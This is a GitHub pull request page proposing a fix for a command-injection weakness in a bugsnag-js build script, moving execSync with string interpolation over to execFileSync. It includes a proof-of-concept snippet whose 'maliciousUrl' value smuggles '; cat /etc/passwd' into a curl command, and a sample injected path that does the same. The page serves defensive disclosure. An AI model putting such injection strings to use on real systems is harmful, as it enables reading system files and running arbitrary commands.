Skip to content

Conversation

opsysdebug
Copy link

@opsysdebug opsysdebug commented Apr 25, 2025

execSync(`npm pack ${scenarioLauncherPackage} --pack-destination ${fixtureDir}`, { cwd: ROOT_DIR, stdio: 'inherit' })

fix the issue dynamically constructed shell command should be replaced with a safer alternative that avoids interpretation by the shell. Specifically, the execSync call should be replaced with execFileSync, which allows passing arguments as an array, ensuring that special characters in paths are properly escaped and do not alter the command's behavior.

  1. Replace the execSync call on line 137 with execFileSync.
  2. Pass the npm command and its arguments as separate parameters to execFileSync.
  3. Ensure that scenarioLauncherPackage and fixtureDir are passed as arguments, not interpolated into a string.

Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.

The following shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.

var cp = require("child_process"),
  path = require("path");
function cleanupTemp() {
  let cmd = "rm -rf " + path.join(__dirname, "temp");
  cp.execSync(cmd); // BAD
}
const cp = require("child_process");
const path = require("path");

// Simulasi dari nilai dtsUri yang datang dari sumber tidak tepercaya (misalnya environment variable, input user, dsb)
const maliciousUrl = "http://<redacted-ip>/file --output /tmp/fake.js; cat /etc/passwd > /tmp/pwned.txt #";
const outPath = "/tmp/output.d.ts";

function vulnerableDownload() {
  // ⚠️ VULNERABLE: Shell command constructed as a single string
  const cmd = `curl -o ${outPath} ${maliciousUrl}`;
  console.log("[*] Executing:", cmd);
  cp.execSync(cmd); // Exploitable
}

vulnerableDownload();

The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path. For instance, if the absolute path of the temporary directory is /home/bugsnag-js/important project/temp, then the shell command will recursively delete /home/bugsnag-js/important and project/temp, where the latter path gets resolved relative to the working directory of the JavaScript process.

Even worse, although less likely, a malicious user could provide the path /home/bugsnag-js/; cat /etc/passwd #/important project/temp in order to execute the command cat /etc/passwd. To avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell:

var cp = require("child_process"),
  path = require("path");
function cleanupTemp() {
  let cmd = "rm",
    args = ["-rf", path.join(__dirname, "temp")];
  cp.execFileSync(cmd, args); // GOOD
}

References

Command Injection
CWE-78
CWE-88

@opsysdebug
Copy link
Author

ping @gingerbenw @AnastasiiaSvietlova let's merged this pull-request for patch the vulnerable.

best regards

@clr182
Copy link

clr182 commented May 7, 2025

Hi @odaysec

Thank you for reaching out and providing a PR for this potential security issue.

We've added this to our backlog and will be sure to review this change when priority allows.

@clr182 clr182 added the backlog We hope to fix this feature/bug in the future label May 7, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
backlog We hope to fix this feature/bug in the future
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants